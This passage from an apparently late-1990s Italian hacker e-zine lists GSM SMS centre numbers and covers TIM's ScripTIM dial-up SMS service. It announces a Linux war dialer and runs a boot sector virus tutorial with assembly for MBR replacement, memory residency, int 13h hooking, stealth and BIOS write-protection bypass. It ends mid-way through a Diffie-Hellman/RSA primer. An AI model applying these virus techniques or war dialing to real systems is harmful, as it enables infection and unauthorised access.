+----------------+-------------------+----------------------+ | Panafon | Grecia | +44 385 016 005 | | TeleStet | Grecia | +30 93 599 000 | +----------------+-------------------+----------------------+ | Libertel | Olanda | +31 654 0881 000 | | PTT Telecom | Olanda | +31 653 13 13 13 | +----------------+-------------------+----------------------+ | Belgacom | Belgio | +32 75 16 16 16 | | Proximus | Belgio | +32 751 616 12 | +----------------+-------------------+----------------------+ | Bouygues Tel. | Francia | +33 660 003 000 | | Itineris | Francia | +33 007 001 080 | +----------------+-------------------+----------------------+ | Telef. Moviles | Spagna | +34 090 90 909 | | Airtel | Spagna | +34 070 031 10 | | Airtel | Spagna | +34 071 33 000 | +----------------+-------------------+----------------------+ | Telecel | Portogallo | +351 931 77 00 77 | | TMN | Portogallo | +351 936 210 000 | +----------------+-------------------+----------------------+ | PTT Luxemburg | Lussemburgo | +352 021 100 003 | +----------------+-------------------+----------------------+ | Eircell | Irlanda | +353 87 699 989 | | Eircell | Irlanda | +353 87 699 985 | | Esat Digifone | Irlanda | +353 868 002 000 | +----------------+-------------------+----------------------+ | Telecom Iceland| Islanda | +354 890 0100 | +----------------+-------------------+----------------------+ | Radiolinja | Finlandia | +358 508 771 010 | | Telecom Finland| Finlandia | +358 405 202 000 | +----------------+-------------------+----------------------+ | Pannon GSM | Ungheria | +36 203 000 99 | | Westel 900 | Ungheria | +36 308 880 00 | +----------------+-------------------+----------------------+ | LMT | Latvia | +371 920 20 20 | +----------------+-------------------+----------------------+ | EMT | Estonia | +372 50 990 00 | +----------------+-------------------+----------------------+ | Swiss PTT | Svizzera | +41 79 191 | | Swiss PTT | Svizzera | +41 89 191 | +----------------+-------------------+----------------------+ | PaegasRadiomobi| Repubblica Ceca | +420 603 051 | | Eurotel Praha | Repubblica Ceca | +420 602 90 99 09 | +----------------+-------------------+----------------------+ | Mobilkom (A1) | Austria | +43 664 05 01 | | Max Mobil | Austria | +43 676 021 | +----------------+-------------------+----------------------+ | Orange | Gran Bretagna | +44 973 100 973 | | Orange | Gran Bretagna | +44 973 100 974 | | Vodafone | Gran Bretagna | +44 385 016 005 | | Cellnet | Gran Bretagna | +44 802 000 332 | +----------------+-------------------+----------------------+ | Sonofon | Danimarca | +45 405 90 000 | | Sonofon | Danimarca | +45 406 20 000 | | Tele Danmark | Danimarca | +45 403 909 99 | +----------------+-------------------+----------------------+ | Comviq | Svezia | +46 70 799 000 1 | | Europolitan AB | Svezia | +46 70 800 070 8 | | Telia Mobitel | Svezia | +46 70 500 899 9 | +----------------+-------------------+----------------------+ | Telenor Mobil | Norvegia | +47 900 021 00 | | Netcom | Norvegia | +47 920 010 00 | +----------------+-------------------+----------------------+ | Era GSM | Polonia | +48 602 95 11 11 | | Polkomtel | Polonia | +48 601 000 310 | | Polkomtel | Polonia | +48 601 000 311 | +----------------+-------------------+----------------------+ | DeTeMobil(D1) | Germania | +49 171 076 0000 | | Mannesmann (D2)| Germania | +49 172 227 0000 | | E-Plus | Germania | +49 177 061 0000 | | E-Plus | Germania | +49 177 062 0000 | | E-Plus | Germania | +49 177 060 0000 | +----------------+-------------------+----------------------+ | Celcom | Malesia | +60 19 39 00000 | | Mutiara | Malesia | +60 162 999 900 | | Maxis | Malesia | +60 12 0000015 | +----------------+-------------------+----------------------+ | Vodafone | Australia | +61 415 011 501 | | Telstra | Australia | +61 418 70 67 00 | | Optus | Australia | +61 411 990 000 | | Optus | Australia | +61 412 025 989 | +----------------+-------------------+----------------------+ | Satelindo | Indonesia | +62 816 15 | | Telkomsel | Indonesia | +62 811 130 004 | | GSM-XL BR | Indonesia | +62 818 445009 | +----------------+-------------------+----------------------+ | Globe Telecoms | Filippine | +63 91 702 | +----------------+-------------------+----------------------+ | Bell South | Nuova Zelanda | +64 21 600 600 | +----------------+-------------------+----------------------+ | Singapore Tel. | Singapore | +65 98 189 999 | | Singapore Tel. | Singapore | +65 96 500 001 | | Mobileone | Singapore | +65 96 845 999 | +----------------+-------------------+----------------------+ | NW GSM, | Russia | +7 812 960 00 96 | +----------------+-------------------+----------------------+ | HK Telecom | Hong Kong | +852 9028 8000 | | HK Telecom | Hong Kong | +852 9021 7572 | +----------------+-------------------+----------------------+ | Turkcell | Turchia | +90 532 90 10000 | +----------------+-------------------+----------------------+ | Lebancell | Libano | +961 3 488 888 | '----------------+-------------------+----------------------' D2 (Germania) ------------- *N# anteposto al messaggio da inviare, da' in risposta un SMS riportante lo stato d'inoltro del messaggio; *LATER # anteposto al messaggio, lo invia dopo il numero di ore specificato nel paramentro ; *I# richiede il Timestamp al Centro Servizi; *D # Cancella i messaggi inoltrati con Timestamp e ricevuti con il comando *I# ; EMT (Estonia) ------------- *T# o *0# anteposto al messaggio da inviare, da' in risposta un SMS riportante lo stato d'inoltro del messaggio (in lingua locale); *V# anteposto al messaggio, lo invia dopo il numero di ore specificato nel paramentro ; E-Plus (Germania) ----------------- Inviando ? al numero 450 502 304 si ottiene un elenco dei servizi erogati dal Centro Servizi. Telecom Finland (Finlandia) --------------------------- *0# o *K# anteposto al messaggio da inviare, da' in risposta un SMS riportante lo stato d'inoltro del messaggio (in finlandese); Telia GSM (Svezia) ------------------ *KV# anteposto al messaggio da inviare, da' in risposta un SMS riportante lo stato d'inoltro del messaggio (in svedese). .-------------------------------. | 04. ScriptTiM - Guida All'Uso | '-------------------------------' E' possibile inviare SMS interagendo direttamente con l'SMSC TIM attraverso un PC dotato di modem. Per accedere all'SMSC e' necessario utilizzare un qualsiasi programma di emulazione di terminale. La chiamata dialup all'SMSC attraverso il numero 0335-960960 e' tariffata come qualsiasi chiamata radiomobile ad un cellulare di tipo EuroProfessional. Il Numero da chiamare e': 0335-9609600 ATDT03359609600 CONNECT 14400 ------------------------------------------------------------------------ TIM SMS Servizio Menu Servizio ScripTIM Collegamento OK Benvenuti nel servizio ScripTIM. Selezionare il Terminale oppure premere CTRL-Z per scollegarsi. Selezione del protocollo terminale 1. VT100 , VT200 <> 2. VT52 3. ASR33 Selezionare : < 1, 2, 3>: 1 ------------------------------------------------------------------------ Successivamente comparira' il seguente messaggio di benvenuto: ------------------------------------------------------------------------ TIM SMS Servizio Menu Servizio ScripTIM 1999-03-05 11:44 Il nuovo servizio GSM di TIM che Vi permette da oggi di inviare dal Vostro PC brevi messaggi scritti (fino a 160 caratteri) ai clienti GSM. Il Vostro destinatario leggera' il Vostro messaggio direttamente sul display del Suo telefonino. Premere INVIO per continuare oppure CTRL-Z per scollegarsi. ------------------------------------------------------------------------ Premuto INVIO ------------------------------------------------------------------------ TIM SMS Servizio Menu Servizio ScripTIM Benvenuti nel nuovo servizio ScripTIM. Se volete maggiori informazioni e dettagli sulle potenzialita' del servizio ScripTIM e sulle tariffe potete rivolgervi ai centri TIM. 1. INVIO Premere 1 per continuare oppure CTRL-Z per scollegarsi: 1 ------------------------------------------------------------------------ Successivamente sara' necessario immettere il numero del destinatario selezionando la voce (3), comporre il proprio messaggio dopo aver selezionato la voce (5) ed infine inviarlo selezionando l'opzione (8). E' anche possibile selezionare l'invio differito del messaggio selezionando l'opzione (4) ( opzionale ). ------------------------------------------------------------------------ TIM SMS Servizio Menu Servizio ScripTIM 1. Non attivo : 2. Non attivo : 48 3. Destinatario del messaggio : 03381234567 4. Consegna differita (MM:GG:hh:mm): 00:00:00:00 5. Testo messaggio (max 160 car.) : Prova invio SMS da PC. 6. Non attivo : 7. Non attivo : 8. Invio messaggio Riempire i campi 3, 4 (opzionale) e 5; quindi selezionare 8 per inviare. Valv0lin3 ---------------------------[ WAR DIALER X LINUX ]-------------------------- ----------------------------------[ pIGpEN ]------------------------------- ATTACHMENT: dead-1.0.tgz DISCLAiMER: L'uso che fate di questi prog sono affari vostri. pIG non si ritiene responsabile se avete deciso di togliervi un dente con un cucchiaino.... Uhmm tempo fa vidi un wardialer per linux di nome shokdial. Mi piaceva... ma non fungeva... Qui presento: dead v1.0 ---> un semplice telephone scanner (cambiate la com port in dial.h!) aces v2.8 ---> il mio scanner rivisto e con l'opzione "phone" in piu'. Ecco qui l'append di aces.doc 2.1 Versione 2.8 - Miglioramenti by bELFaghor Questa versione comprende una serie di miglioramenti by bELFaghor. Il Makefile e' suo come molte correzioni sui moduli (per esempio nell'aces.log sono stati aggiunti tutti i campi dello scan in udp). Mi ha fatto inoltre notare che l'opzione finger va solo sugli host con normale in.fingerd ... - WAR DIALER by pIGpEN E' ora possibile utilizzare aces con un inputfile di numeri telefonici. L'opzione e' phone e accetta sia il parametro -cmp che -nocmp. In entrambi i casi l'aces produrra' in aces.log una lista dei CARRIER. Solo che con -cmp cercherete delle stringhe particolari sui servizi con -nocmp invece logghera' l'intero issue. Credo che questo sia il primo war dialer a loggare come si presenta un sistema. Inoltre nel caso alcuni numeri siano occupati, questi verranno scritti in busy.log che potra' essere usato come input list di un successivo scan. Per eseguire correttamente queste funzionalita' di aces high dovete modificare in aces.h le costanti dove e' scritto Change it! che sono: MODEMPORT ---> COM in USCITA /dev/cua0 com1 /dev/cua1 com2 /dev/cua2 com3 /dev/cua3 com4 HANGPORT ---> COM IN ENTRATA /dev/ttyS0 com1 /dev/ttyS1 com2 /dev/ttyS2 com3 /dev/ttyS3 com4 Se siete su Irix (non ho idea se funge aces) cmq i file delle com port non sono questi... immagino che ci siamo capiti :) DIALSTRING ----> STRINGA DA MANDARE ASSIEME AL NUMERO nel mio caso ho un X3 perche' il mio modem fa la puttana cieca. Potevo fare un file .cfg sisi ok .... La scelta di aggiungere in aces un wardialer e' nata quando, guardando il source di shokdial, ho notato che questo non poteva funzionare a causa di un'errata coercizione da intero a stringa. La cosa migliore che si poteva fare era implementare la funzione itoa() (ci ho provato e con piccole modifiche fungeva) e la itos() (non ci ho provato uhmm, ma immagino che siano poi uguali :) pIGpEN ============================================================================== ----------------------------------[ ViRii ]----------------------------------- ============================================================================== ---------------------[ B00T SECT0R E B00T SECT0R ViRUSES ]-------------------- -----------------------------------[ b0z0 ]----------------------------------- boot sector e boot sector viruses scritto da b0z0/iKX, 10/6/99 1) intro Questo breve testo ha come scopo quello di far capire tecnicamente cosa succede una volta acceso il vostro pc, quando dopo i vari test del bios viene caricato il sistema operativo. La prima parte si soffermera' sul funzionamento generico del bios alla fine dei check iniziali e del funzionamento e della struttura del boot, dando cosi' nozioni sufficenti a chiunque a scrivere un boot loader personalizzato. Nella seconda parte verranno discussi aspetti che riguardano invece piu' direttamente i boot virus che, per quanto siano ormai leggermente superati con l'avvento dei sistemi operativi piu' recenti, sono alquanto interessanti e forse per certi versi piu' istruttivi di altri tipi di virus. 2) il bootstrap Una volta fatti i vari test del mega, il bios carichera' il sistema operativo tentando di leggere dal disco rigido il primo settore (traccia 0, testina 0, settore 1) mettendolo all'indirizzo di memoria 0:7c00h. In caso questo non fosse possibile (se il hd non fosse presente) il bios andra' a leggersi il primo settore del floppy e cerchera' di metterlo sempre nella stessa zona di memoria (e' chiaro che da bios si puo' anche cambiare la sequenza di ricerca della periferica da usare per prima). Letto un settore il bios controlla che l'ultima word del settore sia uguale a 0aa55h. Se questo valore corrisponde allora il bios considera il boot sector valido (in caso non lo fosse probabilmente c'e' un disco non bootabile o qualcosa del genere) e quindi passa l'esecuzione all'indirizzo 0:7c00h, ovvero al boot sector appena caricato (quindi cs<-0 e ip<-7c00h). da qui in avanti tutto e' in mano al codice del settore (del floppy o del disco) caricato. Al momento del passaggio del bios dell'esecuzione al boot sector i registri possono contenere qualsiasi cosa, tranne DL che contiene il numero del drive dal quale e' stato eseguito il boot (0 hd, 1 floppy a). ottima cosa da fare dunque (cosa che troverete in qualsiasi boot) e' settare lo stack in modo tale che non vada a cancellare il vostro codice. In genere, dato che lo stack cresce in giu', si setta ss:sp a 0:7c00h e cosi' non ci sono prob di sovrascriversi. C'e' da notare che fino a questo punto non e' stato caricato ancora nessun sistema operativo, quindi non disporrete di chiamate all'int 21h del dos o roba del genere, ma bensi' soltanto degli interrupt che vi offre il bios, quindi quelli fino al 1fh piu' alcuni altri (vedetevi una interrupt list), facendo diventare leggermente piu' difficile qualsiasi operazione vorreste fare. Oltre agli interrupt che vi offre il bios potete disporre delle sue strutture, che si trovano al segmento 40h. 2a) struttura del master boot record Il primo settore del disco rigido viene chiamato master boot record (mbr da qui in avanti) e contiene informazioni alquanto importanti. All'offset 01beh del settore infatti c'e' la tabella delle partizioni (pt da qui in avanti), che contiene le informazione della partizionatura del disco. Per come strutturata la pt contiene al massimo 4 partizioni, ognuna delle quali e' descritta da 10h bytes. In questi sedici bytes possiamo trovare dove la partizione inizi e dove finisca, che sistema operativo e' installato (beh, un numeretto che dovrebbe indicarlo) e se questa partizione e' attiva (x + info sulla struttura esatta delle entry della pt prendetevi una qualunque reference tecnica). Il resto del mbr e' codice che, in base a qualcosa (un'interazione con l'utente per esempio se avete un loader tipo il lilo, o semplicemente la scelta della prima partizione attiva se avete un mbr tipico del doz) scegliera' la partizione dalla quale andare a leggere il primo settore per poi caricarlo ed eseguirlo. In genere il codice del mbr si copiera' da qualche altra parte in memoria e poi carichera' il boot sector della partizione scelta di nuovo sul solito 0:7c00h. Anche i parametri passati nei registri sono di norma gli stessi (dl settato al disco dal quale e' stato eseguito il boot) e quindi potete subito notare come l'operare sul mbr o su un boot di una partizione sia poi abbastanza simile per certi versi. 2b) struttura del boot generico Il boot di una partizione contiene invece di solito il codice vero e proprio per lanciare il sistema operativo. Nell'esempio del dos qui troverete il codice che carichera' i file di sistema (i due .sys insomma) che poi vanno ad offrire determinati servizi. Su questo settore possono essere anche presenti dati riguardanti il file system presente sulla partizione. In caso di un s.o. che usa la fat qui troverete ad esempio, dal terzo byte fino al trentunesimo, le informazioni su dove inizi la fat (file allocation table, la struttura dati che raccoglie informazioni su che settori siano utilizzati o meno insomma), quanto sia lunga etc. Essendoci dal terzo byte fino al trentunesimo dati da conservare, dato che il codice viene dato all'inizio del settore una volta caricato, i primi due bytes sono sempre un jump short oltre i suddetti dati. 2c) struttura del boot floppy La struttura del boot sector, del primo settore dunque, del floppy e' praticamente la stessa della struttura del boot di una partizione. E' chiaro che i dati riguardanti il file system sono differenti per le diverse capacita' dei due. 2d) accenni pratici Da quanto scritto sopra con un po' di buona volonta' e documentazione piu' tecnica credo che chiunque possa essere adesso in grado di personalizzare il proprio disco in base alle esigenze. Per facilitare un po' i concetti ed il lavoro faro' qualche esempio pratico. NB: il codice presentato non e' stato testato e potrebbe neanche compilare, non ho voglia di mettermi a testarlo. E' presentato come esempio sul quale il lettore si metta a capire e a lavorare, non come codice da utilizzare cosi' com'e'. Beh, una cosa stupidissima adesso. Un piccolo loader che verra' messo al posto del mbr che vi chiedera' una password, ed in caso di successo carichera' normalmente il mbr originale. In caso contrario aspettera' finche' non verra' immessa la password giusta. Supponiamo che la mbr originale sia stata salvata sul settore 0,0,2. E' interessante infatti che la prima traccia intera, tranne il primo settore dove c'e' appunto il mbr, sia inutilizzata, e quindi puo' venire utilizzata da voi. org 7c00h ; dato che andra' messo la su ; per il compilatore start: cli xor ax,ax ; mettiamo ss:sp a 0:7c00h mov ss,ax ; per non cancellarci mov sp,7c00h mov es,ax ; ci servira' dopo sti push cs pop ds mov si,offset pass ; punto si alla chiave testa: mov ah,10h ; leggi un tasto da kbd in al ed int 16h ; eventualmente aspettane uno cmp al,byte ptr [si] ; controlla la lettera je prossimo mov si,offset pass ; ricomincia da capo se lettera jmp testa ; errata prossimo: ; vai alla prossima lettera inc si cmp byte ptr [si],00h ; finita la pass? jne testa mov ax,201h ; leggi un settore mov bx,7c00h ; a es:bx, cioe' a 0:7c00h mov dx,80h ; dx e cx contengono il settore mov cx,2h ; da leggere, cioe' 0,0,2 da hd mov ds:[7c00h-2],13cdh ; qui mettiamo un cd13h, cioe' un jmp start-2 ; istruzione "int 13h" all'indir. ; 0:7c00h-2 e saltiamo li. in questo modo verra' eseguita l'istruzione ; (che per come abbiamo impostato i parametri sopra leggera la mbr ; originale) e poi il codice continuera' su 0:7c00h, ovvero dove sara' ; letta la mbr originale. e' solo un trucco abbastanza stupido per non ; usare buffer aggiuntivi senza fare casini pass db 'sad36',0 ; stringa finita da 0 org 7dfeh mark db 055h,0aah ; senza questi il bios non vi caga end start Beh, l'esempio piu' o meno dovrebbe andare, non sono state usate strane cose, ma solo applicate le cose dette prima. Noterete che utilizziamo solo l'int 16h (per servizi della tastiera) e l'int 13h (x il disco) che sono forniti dal bios. Volendo mostrare una stringa non potremmo utilizzare la 09h del int 21h come sotto dos ad esempio, ma dovremmo utilizzare le chiamate dell'int 10h (i servizi video del bios). Una volta compilato per installarvi questo semplicemente potete utilizzare un qualcosa come il diskeditor o qualcosa come questo appeso prima del codice del boot sector (quindi prima dell'org 7c00h) dovrebbe andare: org 100h ; verra' un com mov ax,201h ; leggi un settore mov bx,offset buffo ; metti su es:bx, cioe' cs:buffo mov dx,80h ; leggi il mbr originale mov cx,1h int 13h mov ax,301h ; scrivi un settore mov bx,offset buffo ; dal buffer con il mbr letto mov dx,80h ; salva la mbr su 0,0,2 mov cx,2 int 13h mov ax,301h ; scrivi un settore mov bx,7c00h ; dove, se seguite le istruzioni ; c'e' il mbr modificato mov dx,80h ; al posto del mbr mov cx,1 int 13h int 20h ; fine buffo db 512h dup(?) Comunque basta che capiate l'idea... il codice sopra legge la mbr originale nel buffer e poi lo riscrive sul hd al 0,0,2. Dopo scrive, leggendo da cs:7c00h (dove si suppone ci sia il resto del codice che e' quello sopra) il nuovo mbr. Occhio che il codice sopra puo' (probabilmente non lo e') non essere esente da problemi, essendo stato scritto velocemente e senza alcun ricontrollo, ma il disco cmq e' vostro. Notate anche che da quanto abbiamo fatto sopra non ricopiamo la tabella delle partizioni dalla mbr originale e quindi, in caso poi una volta installato qualcosa come l'esempio sopra, andiate a bootare con un floppy normale comunque il disco risultera' non contenere alcuna partizione e quindi non potrete accedere alle strutture logiche sul disco. Questo puo' essere un bene o un male, dipende da quello che volete fare. Cmq per rendere cmq visibili le partizioni da un boot diverso dal vostro modificato basta copiare la tabella delle partizioni sul vostro nuovo settore, niente di piu' facile. Una cosa simile succederebbe se sovrascriveste un boot di un partizione o di un floppy senza lasciare i dati del filesystem (detto sopra). Un tale floppy funzionerebbe solo se bootato da se stesso, mentre risulterebbe illeggibile in caso contrario. Dovete anche notare che certe parti del disco, tipo i dati della fat nel boot sector, possono essere necessari piu' spesso e non solo alla prima lettura e quindi dovreste modificare il programma di cui sopra in modo tale che renda sempre disponibili almeno i dati strettamente necessari. Con l'esempio del nuovo mbr di sopra infatti se per caso un qualche programma (tipo il fdisk ad es) vorrebbe andare a leggere la pt non troverebbe nulla essendoci in realta' in vostro codice. 2e) conclusioni prima parte Non c'e' piu' molto da dire per applicazioni alquanto facili che partano da boot, infatti e' abbastanza facile farne con queste piccole nozioni. In genere i problemi che possono nascere nella scrittura di certi programmini sono la limitatezza dei servizi che avete a disposizione dato che non e' stato caricato ancora il sistema operativo. Non potete farci molto, dovete usare quello che c'e' con un po' di astuzia. Un altro problema e' quello della limitatezza dello spazio. Un settore e' in genere lungo 512 bytes e in tale spazio non potete mettere molto codice. Nessuno vi vieta di usare piu' settori comunque, basta che poi andiate a leggerveli da soli con il primo, che e' l'unico che gia' viene caricato dal bios all'avvio. 3) boot virus Qui vedremo un po' quali sono le differenze tra i classici virus residenti per file e un boot virus. Si suppone il lettore abbia un minimo di dimestichezza con altri tipi di virus e che abbia capito come funzioni il processo di boot. 3a) residenza Come andare residenti. Al momento del boot, come gia' detto parecchie volte, non avete ancora il sistema operativo e quindi non potete usare chiamate all'int 21h per andare in memoria ne' manipolare i mcb ne' niente del genere. Un metodo classico e' quello di diminuire la memoria disponibile al sistema vista dal bios (e quindi da tutto quello che verra' caricato dopo) dello spazio necessario e mettere li' il virus. Il numero di kb di memoria disponibili (di solito 640kb) si trova all'indirizzo 40h:13h, cioe' tra i vari dati del bios. Diminuite questo numero di quanto necessario e quindi per trovarne l'indirizzo fisico dove copiare il virus vi basta moltiplicare i kb restanti per 64. Quindi, es: sub ax,ax mov ds,ax mov ax,word ptr [413h] ; cioe' 0:413h o 40h:13h sub ax,3 ; ci servono 3kb mov word ptr [413h],ax ; metti nuova mem disponibile mov cl,6 ; * 64 per avere il segmento shl ax,cl ; dopo questo mem disponibile e' ; in ax:0 Alternativamente, per quanto sia piu' rischioso, potete utilizzare per il vostro virus spazio in mem che crediate sia inutilizzato, tipo parte della ivt. o potete stare in un tal spazio finche' non parte il dos e poi andare residenti con i soliti metodi tramite dos. vedete voi. 3b) hooking di chiamate Una volta residenti in memoria si presuppone vogliate in qualche modo ricevere comando a determinati eventi. Per la riproduzione di boot virus chiaramente vorrete hookare chiamate a scritture/letture su dischetti o dischi che andrete ad infettare. L'interrupt che gran parte dei programmi usano per questo lavoro e' l'int 13h, che quindi andrete a hookare nei soliti modi (ovviamente manipolando direttamente la ivt dato che non avete la get/set interrupt vector dell'int 21h). xor ax,ax mov ds,ax ; sulla ivt mov si,13h*4 ; int13h nella ivt mov ds:[si],es ; segmento del virus (supp. es) mov ds:[si+2],bx ; e offset del handler (supp. bx) Ovviamente il segmento e l'offset del handler devono riferirsi a quello che sta residente in memoria e non al codice a 0:7c00h che e' stato caricato e che verra' probabilmente cancellato. E' anche ovvio che prima di settare il vostro handler salverete quello vecchio per passargli il comando quando avrete finito. Una volta hookate, qui andrete a controllare se l'utente legge o scrive su possibili vittime e farete il lavoro necessario. Guardatevi una lista degli interrupt per vedere cosa potrebbe interessarvi, di solito le letture o scritture (ah=02 o 03) sul boot sector del floppy (intercettare tutte le letture su un floppy per provare ad infettarlo farebbe leggermente troppo casino, dato che per ogni file vengono eseguite molte letture. Siete cmq sicuri che il boot del floppy venga letto perlomeno alla prima lettura da floppy dato che il dos deve leggersi i dati relativi alla fat). Ricordatevi ovviamente che con dispositivi lenti specie il floppy seekare troppo di qua e di la (per andare a leggervi il boot per vedere se e' infetto) puo' insospettire. 3c) infezione L'infezione del disco rigido e del floppy e' semplice. Una volta constatato che questo non e' ancora infetto (con un marker o che altro) salvate il boot (o mbr, in base a quello che volete fare) da qualche parte (vedi prossima sezione), copiate (se ritenete necessario, dipende dalla vostra idea di come fare il tutto) i dati che vanno tenuti (tipo la pt o i dati del boot sector) vicino al vostro virus e poi scrivete il nuovo boot sector al suo posto. 3d) salvataggio e ripristino boot/mbr originale Una domanda ovvia e' dove potete salvare il boot/mbr originale ed eventualmente pezzi del vostro virus in caso questo non stia in un solo settore. Quando infettate dischi rigidi questo problema non si pone, dato che abbiamo detto in precedenza che come minimo avete tutta la prima traccia libera, tranne il primo settore, e quindi di spazio ce ne dovrebbe essere in abbondanza. Quando vi trovate su floppy non disponete di tale spazio. Le tecniche da utilizzare in questo caso sono varie e ne esistono anche molte altre: - scrivere il virus alla fine della root directory (la struttura che contiene la struttura delle dir e del file presenti). Essendo questa disposta ad ospitare un gran numero di file, che in genere non ci sono, ha spesso spazio inutilizzato alla fine. - scrivere il virus in un settore qualsiasi del disco a vostro piacimento e segnare quei settori come danneggiati nella fat. In tal caso il s.o. semplicemente non scrivera' su quel settore. - scrivere il virus sulla fat secondaria (se c'e') che non viene quasi mai utilizzata (potete dire al floppy che ce n'e' una sola cambiando i dati nei famosi primi bytes del boot) tranne che da prog diagniostici o roba simile. - scrivere il virus da qualche parte del floppy che si spera sia vuota (tipo l'ultima traccia) eventualmente dopo aver checkato la fat. - formattare una traccia extra e mettercelo li' al sicuro (vedi qualche doc a riguardo) Certe tecniche vi offrono maggior sicurezza che i dati non vengano sovvrascritti da altre cose a costo di codice aggiuntivo necessario, la scelta e' vostra. Per quanto riguarda il ripristino del settore originale il discorso e' simile a quello esposto prima sopra nella parte generica. Quando avete finito di caricare il virus come volevate, rileggete su 0:7c00h (occhio a mantenere il registro dl) il settore originale e gli passate il controllo. 3e) stealth Fare lo stealth (di un certo livello) su boot sector virus e' abbastanza facile. Infatti nel vostro int 13h handler semplicemente se vedrete che qualcuno va a leggere o a scrivere un settore infetto lo ridizionerete (basta che nel vostro handler dell'int 13h modifichiate i registri cx e dx che contengono le info sul settore dal leggere prima di passare alla chiamata originale) in cambio il settore originale salvato da qualche parte. 3f) problemi con la scrittura al mbr Un problema tipico con schede madri non troppo vecchie e' la protezione in scrittura che avete gia' a disposizione nel bios. Per quanto molti produttori sventolino questa come una cosa evoluta in verita' non fa altro che darvi una finestra in caso qualcuno tenti di scrivere sul mbr usando l'int13h. Per saltare questa protezione ci sono due modi: -) scrivere su disco con le porte invece dell'int13h. per i dischi ide ad esempio vedetevi come fare su qualche tech ref vedendo le porte 1fxh. Puo' essere fatto molto elegantemente in poco spazio, ma e' incompatibile con dischi scsi o simili. -) disabilitare la protezione del bios. Va fatto ancora con le porte ma cambia da bios a bios (ami, award...) e quindi consuma spazio, ma funziona. (vedetevi il ralph brown per le desc tecniche). 4) informazioni Materiale piu' strettamente tecnico di corredo potete trovarlo in una ibm technical reference, in una dos technical reference e ovviamente nelle ralph brown interrupt list. Per sorgenti di esempio, approfondimenti e trucchi vari vi rimando alle varie zines di vx in circolazione. Cmq per eventuali domande o richieste di materiale vario potete contattarmi a cl0wn@geocities.com o su irc. 5) quello che doveva venire all'inizio Come da standard pIGpEN, ma messo in fondo cosi' verra' possibilmente saltato da piu' persone: dedicato a: monica b. greets: pigpen, smaster, darkman, ikx ppl musica: placebo/placebo, placebo/wyin consumo: qualche boccata d'aria L'italiano del testo di sopra fa pena, l'importante probabilmente e' il contenuto. Cmq ho la scusa che non parlo spesso italiano, come del resto neanche altre lingue. b0z0 ============================================================================== ------------------------------[ MiSCELLANE0US ]------------------------------- ============================================================================== --------------[ CRiTT0SiSTEMi A CHiAVE PUBBLiCA : [DH76] & RSA ]-------------- ---------------------------------[ del0rean ]--------------------------------- ---Introduzione L'intento di questo articolo e' di trattare due dei piu' comuni crittosistemi a chiave pubblica: Diffie & Hellman 76 [DH76] e RSA, descriverne il "funzionamento" mediante l'illustrazione degli algoritmi che sono alla base di questi due sistemi, le possibili implementazioni, le differenze. Do per assunto che gran parte di Voi affezionati ( ;) ) lettori sappiate cosa sia la crittografia a chiave pubblica, sia perche' prima di me qualcun'altro ha gia' trattato l'argomento proprio su queste "colonne", sia perche' suppongo che tutti voi facciate largo uso di PGP, che altro non e' che il piu' noto software di crittografia a chiave pubblica. ---Cosa e' un crittosistema a chiave pubblica? Prima di tutto un piccolo glossario: Testo in chiaro ( o plaintext ) = testo da cifrare. Testo cifrato ( o cyphertext o cryptogram ) = secondo voi? ;) La cifratura avviene mediante un algoritmo ( cypher ) che fa uso di una o piu' chiavi ( key ). Un insieme finito di chiavi viene detto spazio delle chiavi ( keys space ). Un crittosistema e', quindi, un set di chiavi e algoritmi. La crittografia a chiave pubblica nasce nel 1976 ad opera di due personaggi di nome Diffie - Hellman che introducono un concetto molto semplice, ma geniale nello stesso tempo. Lo schematizzo cosi: E = encyphering key / pubblica D = decyphering key / privata m = messaggio ( o plaintext ) per ogni m D( E(m) ) = m - Applico al messaggio ( plaintext ) m la chiave E che e' pubblica ed ottengo E(m). - Solo il destinatario ( che aveva in precedenza distribuito la sua E ) puo'ottenere nuovamente m, cioe' il messaggio in chiaro applicando D, la chiave privata, a E(m) ottenendo cosi' m! Questo tipo di procedimento viene detto asimmetrico, il motivo e' facilmente intuibile, se paragonato ai crittosistemi simmetrici, dove la chiave e' una sola ( talvolta ne possono esistere di diverse, ma comunque ricalcolabili da una chiave "madre" ) uguale sia per il mittente sia per il destinatario, da mantenere assolutamente segreta; non adatta, quindi, al trasferimento di dati su canali poco sicuri,poiche' lo scambio della chiave potrebbe essere intercettato e tutta la sicurezza di un crittosistema "inattaccabile" andrebbe perduta. La forza dei crittosistemi a chiave pubblica risiede nel fatto che la funzione D(E(m)) = m e' _teoricamente_ invertibile, ma praticamente non lo e', se si utilizzano chiavi ( quindi D ed E ) di grandezze dell'ordine di 150/200 cifre. Tutto cio' si basa su teorie dei numeri, in particolare quelli primi, che attualmente sono molto difficili da fattorializzare, poiche' richiedono molta potenza di calcolo, tempo, money, ma soprattutto perche' non esistono algoritmi matematici in grado di fattorializzare qualsiasi numero primo. Ovvio che parlo di numeri primi mooooooooolto grossi. ---Algebra modulare. - L'operatore "mod" Come abbiamo visto questi algoritmi si basano su teorie matematiche ben precise, in particolare teorie appartenenti alla matematica del finito o discreta. Per comprendere appieno il "segreto" che si nasconde dietro questi concetti bisognerebbe conoscere un po' di algebra modulare, ma credo che non sia questo il luogo per fare una lezione ;). Cmq per adesso ci basta sapere la funzione dell'operatore - mod - . Siano a e b due interi positivi. a mod b = resto intero della divisione a/b. Esempio: 9 mod 4 = 1 oppure 5*5 mod 24 = 1 o anche 3*12 mod 50 = 36 Abbastanza chiaro! :) ---Diffie & Hellman [DH76] Diffie & Hellman sono i teorizzatori della crittografia a chiave pubblica, poi messa in pratica da tre scienziati di nome Rivest Shamir Adelmann (RSA). Nel 1976 D&H inventarono il protocollo che mi accingo a descivere, che effettivamente non e' proprio un algoritmo a chiave pubblica, bensi' un pratico metodo per generare e scambiare chiavi da utilizzare ad esempio in un crittosistema simmetrico. Questo protocollo viene spesso assimilato ad altri a chiave pubblica poiche' sostanzialmente e' un "predecessore", poiche' e' stato inventato dalle stesse menti della crittografia a chiave pubblica e poiche', cosa piu' importante, perche' fa uso di "numeri pubblici". Ma andiamo con ordine e vediamo cosa intendo con "numeri pubblici" :). Siano X e Y i due soggetti interessati allo scambio di dati. Siano (ecco i famosi numeri :) ) "P" e "g" due numeri che soddisfino le seguenti proprieta': - P deve essere un numero primo abbastanza grande ( 100-200 cifre ) - g deve appartenere all'insieme dei numeri naturali e g < P - (g,(P-1)) = 1 g e P primi fra loro - P e g uguali per i due soggetti X ed Y ( o comunque non segreti ) X Y sceglie a < P sceglie b < P g^a mod P = H g^b mod P = K H invia H a Y ------------> /* 